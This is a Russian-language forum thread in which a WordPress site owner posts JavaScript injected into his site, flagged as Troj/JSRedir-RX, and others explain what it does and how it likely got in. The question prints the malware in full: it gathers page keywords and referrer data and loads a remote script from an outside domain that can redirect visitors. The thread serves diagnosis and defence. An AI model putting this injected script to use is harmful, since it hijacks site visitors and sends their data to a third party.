Что делает этот вирус?

Question

[Yermek]

Всем доброго дня.
После очередного обновления WordPress яндекс обматерил мой сайт на наличие вируса Troj/JSRedir-RX

Вооружившись встроенным редактором и Chrom'ом нашел следующий код на своей страничке (Функцию checkOne добавил сам, что бы легче было читать)

Ну и собственно сабж.

function checkOne()
{
	var keywords='';
	var metas=document.getElementsByTagName('meta');
	if(metas)
	{
		for(var x=0,y=metas.length;x<y;x++)
		{
			if(metas[x].name.toLowerCase()=="keywords")
			{
				keywords+=metas[x].content;
				}
		}
	}
	return keywords!==''?keywords:null;
}

	var a='';
	setTimeout(10);
	if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0
		||document.referrer!==undefined||document.referrer!==''
		||document.referrer!==null){
			document.write('<script type="text/javascript" 
					src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm='
					+encodeURIComponent('http://ktm-pohlenz.de/js/jquery.min.php'+'?'
					+'default_keyword='
					+encodeURIComponent(
						(
							(k=checkOne())==null?(
								v=window.location.search.match(/utm_term=([^&]+)/))==null?
									(t=document.title)==null?'':t
								:v[1]
							:k))
							+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}

Answer 1

[Котик Антон]

1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:

<script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>

P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.

Comments

[Yermek]

т.е. все мои посетители отправляются на левый для меня сайт?

[LEXXiY]

Интересная реализация, на JS таких приколов еще не встречал.

[EvgeniD]

Эх) открывал вопрос уже думая где запускать - в Sandboxie или под KVM.... разочарован "вирусом"
Но "зловред" думаю более точно подойдет.

[Yermek]

EvgeniD: Ну да ))) Мне как яндекс сказал, я так вопрос и сформулировал. Не понятно только, как он попал на сайт. Недоумеваю, неужели с обновлением...

По отключил все плагины. Буду по очереди подключать, смотреть когда вернется.

И еще на тему грешу . Использую Mantra

[Зелимхан Бельтоев]

Yermek: на будущее вам бы не помешало git использовать, чтобы все "левые" изменения в случае чего видеть. Не придется редактором и хромом копаться, чтобы эти изменения отловить)

[Андрей Прокопюк]

Yermek: Открыт ли доступ к коду по FTP/SFTP? Какая там авторизация: пароль, сертификат? Если доступ открыт, авторизация по паролю и пароль не слишком сложный, то это и есть наиболее вероятный путь попадания вредоносного кода на сайт